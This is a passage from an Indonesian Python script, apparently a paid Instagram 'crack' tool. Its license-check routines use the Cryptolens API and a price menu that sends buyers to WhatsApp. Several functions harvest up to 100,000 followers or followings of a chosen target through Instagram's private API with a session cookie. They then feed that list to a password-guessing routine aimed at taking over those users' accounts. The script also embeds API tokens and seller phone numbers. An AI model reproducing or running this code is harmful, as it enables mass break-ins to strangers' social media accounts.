  988.                 six_id=self.sixAPI(i)
  989.                 print(f' {str(six)}{U}}}{C} {i} {H}Unfollow-Berhasil{C}')
  990.                 self.unfollowAPI(six_id,'5452333948',self.cookie)
  991.                 #print(w)
  992.             input(f'\n\n [{U}#{C}] Unfollow-all selesai...');self.menu()
  993.         elif c in ("ubah","Ubah","UBAH"):
  994.             change_theme()
  995.         elif c in ('7','07'):
  996.             self.hapus_lisensi()
  997.         elif c in ('0','00'):
  998.             self.Exit()
  999.  
  1000.         else:
  1001.             self.menu()
  1002. def tlisensi():
  1003.     cetak(nel('[!] Lisensi Tidak Valid\n[!] Silahkan Ketik [green]"Buy"[/green] Untuk membeli lisensi'))
  1004.     time.sleep(2)
  1005.     lisen=input('[•] Masukan Lisensi : ')
  1006.     if lisen in ['']:
  1007.      print(f'{M}[!] JANGAN KOSONG{N}');sleep(1)
  1008.      tlisensi()
  1009.     if lisen in ['buy','Buy']:
  1010.      os.system('xdg-open https://wa.me/6285888222944?text=Bang+beli+lisensi+IG+nya+dong');exit()
  1011.     loadinglisen()
  1012.     open('.lisen.txt','w').write(lisen)
  1013.     lisensi()
  1014.    
  1015. def lisensi():
  1016.  try:
  1017.   cek=open('.lisen.txt').read()
  1018.   lisensikuni.append(cek)
  1019.  except:
  1020.   tlisensi()
  1021.  ses=requests.Session()
  1022.  res=ses.get('https://app.cryptolens.io/api/key/Activate?token=WyIyMzYwMTQxMSIsInA3Qld2ZWY3YTdIYjVseS9wWEJmQmxIKzB4a0gybVlEZm8rSkNUSXkiXQ==&ProductId=16362&Key='+lisensikuni[0]).json()
  1023.  status=res['licenseKey']['key']
  1024.  if status ==cek:
  1025.   cetak(nel('\t[green] SELAMAT LISENSI ANDA VALID[/green]'))
  1026.   time.sleep(2)
  1027.   lisensiku.append("sukses")
  1028.   login_kamu()
  1029.  elif status ==KeyError:
  1030.   os.system('rm .lisen.txt')
  1031.  else:
  1032.   tlisensi()
  1033.  
  1034. def mengi(self):
  1035.             try:
  1036.                 menudump.append('mengikuti')
  1037.                 m=int(input(f' jumlah target : {N}'))
  1038.             except:m=1
  1039.             prints(Panel(f"{P2}pastikan username target yang di pilih bersifat publik dan jangan private",width=80,style=f"{color_table}"))
  1040.             for t in range(m):
  1041.                 t +=1
  1042.                 nama=input(f' username target : {C}')
  1043.                 id=self.idAPI(self.cookie,nama)
  1044.                 info=self.ifoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',id)
  1045.             self.passwordAPI(info)
  1046.  
  1047. def meng(self):
  1048.     try:
  1049.         menudump.append('mengikuti')
  1050.         prints(Panel(f"{P2}pastikan username target yang di pilih bersifat publik dan jangan private",width=80,style=f"{color_table}"))
  1051.         m=input(f' username target : ')
  1052.         print(f" wait collect username {m}")
  1053.         id=self.idAPI(self.cookie,m)
  1054.         info=self.ifoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',id)
  1055.         self.passwordAPI(info)
  1056.     except Exception as e:
  1057.         print(e)
  1058.  
  1059. def masal(self):
  1060.             try:
  1061.                 menudump.append('pengikut')
  1062.                 m=int(input(f' jumlah target : {N}'))
  1063.             except:m=1
  1064.             prints(Panel(f"{P2}pastikan username target yang di pilih bersifat publik dan jangan private",width=80,style=f"{color_table}"))
  1065.             for t in range(m):
  1066.                 t +=1
  1067.                 nama=input(f' username target : {C}')
  1068.                 id=self.idAPI(self.cookie,nama)
  1069.                 info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/followers/?count=100000',id)
  1070.             self.passwordAPI(info)
  1071.  
  1072.  
  1073.  
  1074. def massal(self):
  1075.             menudump.append('pengikut')
  1076.             prints(Panel(f"{P2}pastikan username target yang di pilih bersifat publik dan jangan private",width=80,style=f"{color_table}"))
  1077.             m=input(f' username target : {C}')
  1078.             print(f" wait collect username {m}")
  1079.  
  1080.             id=self.idAPI(self.cookie,m)
  1081.             info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/followers/?count=100000',id)
  1082.             self.passwordAPI(info)
  1083.  
  1084. def key():
  1085.     os.system("clear");banner();key = input(" masukan lisensi : ")
  1086.     try:ses = requests.Session();asu = ses.get("https://app.cryptolens.io/api/key/Activate?token===&ProductId=16754&Key=%s&Sign=True"%(key)).json()['licenseKey']['key'];open("data/lisensi.txt","w").write(key);prints(Panel(f"{P2}selamat lisensi kamu aktif, tolong gunakan tools ini dengan bijak",width=80,padding=(0,4),style=f"{color_table}"));time.sleep(4);login_kamu()
  1087.     except KeyError:
  1088.         prints(Panel(f"{P2}lisensi kamu sudah kedaluwarsa silahkan beli lisensi ke admin",width=80,padding=(0,6),style=f"{color_table}"));os.system("rm -rf data/lisensi.txt");os.system("xdg-open https://wa.me/+6285888222944?text=assalamualaikum+bang+mau+beli+lisensi+crack+Instagram");time.sleep(2);exit()
  1089.  
  1090. def cek():
  1091.     try:x=open("data/lisensi.txt","r").read()
  1092.     except FileNotFoundError:key()
  1093.     try:x = requests.get("https://app.cryptolens.io/api/key/Activate?token=WyIyNTYzMTUwMyIsIjlJNmI2M3lTcGtackhEaCtyc2JTLzlBZWZLdzZLYTJyZU4rNDNBZk4iXQ==&ProductId=16754&Key=%s"%(x)).json()['licenseKey']['key'];login_kamu()
  1094.     except KeyError:
  1095.         prints(Panel(f"{P2}lisensi kamu sudah kedaluwarsa silahkan beli lisensi ke admin",width=80,padding=(0,6),style=f"{color_table}"));os.system("rm -rf data/lisensi.txt");os.system("xdg-open https://wa.me/+6285888222944?text=assalamualaikum+bang+mau+beli+lisensi+crack+Instagram");time.sleep(2);exit()
  1096.  
  1097. def key():
  1098.     os.system("clear")
  1099.     banner()
  1100.     prints(Panel(f"{P2}silahkan ketik {H2}'beli'{P2} untuk melihat harga lisensi tools",width=80,padding=(0,9),style=f"{color_table}"))
  1101.     key = input(f" masukan lisensi :{H} ")
  1102.     if key in ["beli","Beli","BELI"]:beli_bang()
  1103.     try:ses = requests.Session();asu = ses.get("https://app.cryptolens.io/api/key/Activate?token=WyIyNTYzMTUwMyIsIjlJNmI2M3lTcGtackhEaCtyc2JTLzlBZWZLdzZLYTJyZU4rNDNBZk4iXQ==&ProductId=16754&Key=%s&Sign=True"%(key)).json()['licenseKey']['key'];open("data/lisensi.txt","w").write(key);prints(Panel(f"{P2}selamat lisensi kamu aktif, tolong gunakan tools ini dengan bijak",width=80,padding=(0,4),style=f"{color_table}"));time.sleep(4);login_kamu()
  1104.     except KeyError:
  1105.         prints(Panel(f"{P2} lisensi yang anda masukan tidak terdaftar silahkan beli terlebih dahulu",width=80,padding=(0,1),style=f"{color_table}"));os.system("xdg-open https://wa.me/+6285888222944?text=assalamualaikum+bang+mau+beli+lisensi+crack+Instagram");time.sleep(2);exit()
  1106.                
  1107. def cek():
  1108.     try:x=open("data/lisensi.txt","r").read()
  1109.     except FileNotFoundError:key()
  1110.     try:x = requests.get("https://app.cryptolens.io/api/key/Activate?token=WyIyNTYzMTUwMyIsIjlJNmI2M3lTcGtackhEaCtyc2JTLzlBZWZLdzZLYTJyZU4rNDNBZk4iXQ==&ProductId=16754&Key=%s"%(x)).json()['licenseKey']['key'];login_kamu()
  1111.     except KeyError:
  1112.         prints(Panel(f"{P2}lisensi kamu sudah kedaluwarsa silahkan beli lisensi ke admin",width=80,padding=(0,6),style=f"{color_table}"));os.system("rm -rf data/lisensi.txt");os.system("xdg-open https://wa.me/+6281210213378?text=assalamualaikum+bang+mau+beli+lisensi+crack+Instagram");time.sleep(2);exit()
  1113.    
  1114. def buy_lisenn():
  1115.     try:xz = open("data/lisensi.txt","r").read()
  1116.     except FileNotFoundError:key()
  1117.     os.system("clear");cek()
  1118.    
  1119. def beli_bang():
  1120.     prints(Panel(f"{P2}[{color_rich}01{P2}]. lisensi 1 minggu 50k\n{P2}[{color_rich}02{P2}]. lisensi 1 bulan 100k\n{P2}[{color_rich}03{P2}]. lisensi 2 bulan 150k\n{P2}[{color_rich}04{P2}]. permanen 250k\n{P2}[{color_rich}00{P2}]. keluar ( {M2}tools{P2} )",width=80,padding=(0,22),style=f"{color_table}"))
  1121.     zxc = input(" pilih lisensi : ")
  1122.     if zxc in [""]:prints(Panel(f"{P2}pilih yang bener broo jangan kosong !",width=80,padding=(0,19),style=f"{color_table}"));time.sleep(3);buy_lisenn()
  1123.     elif zxc in ["1","01"]:os.system("xdg-open https://wa.me/+6281210213378?text=assalamualaikum+bang+mau+beli+lisensi+1+minggu");time.sleep(2);exit()
  1124.     elif zxc in ["2","02"]:os.system("xdg-open https://wa.me/+6281210213378?text=assalamualaikum+bang+mau+beli+lisensi+1+bulan");time.sleep(2);exit()
  1125.     elif zxc in ["3","03"]:os.system("xdg-open https://wa.me/+6281210213378?text=assalamualaikum+bang+mau+beli+lisensi+2+bulan");time.sleep(2);exit()
  1126.     elif zxc in ["4","04"]:os.system("xdg-open https://wa.me/+6281210213378?text=assalamualaikum+bang+mau+beli+lisensi+permanen");time.sleep(2);exit()
  1127.     elif zxc in ["0","00"]:time.sleep(2);exit()
  1128.     else:prints(Panel(f"{P2}ngetik apan ngab !",width=80,padding=(0,28),style=f"{color_table}"));time.sleep(3);buy_lisenn()
  1129.        
  1130. def makedirectory():
  1131.     try:os.mkdir('data')
  1132.     except:pass
  1133.     try:os.system('result')
  1134.     except:pass
  1135.     login_kamu()
  1136.  
  1137. if __name__ == '__main__':
  1138.     os.system("git pull")
  1139.     makedirectory()
  1140.  
Add Comment
Please, Sign In to add comment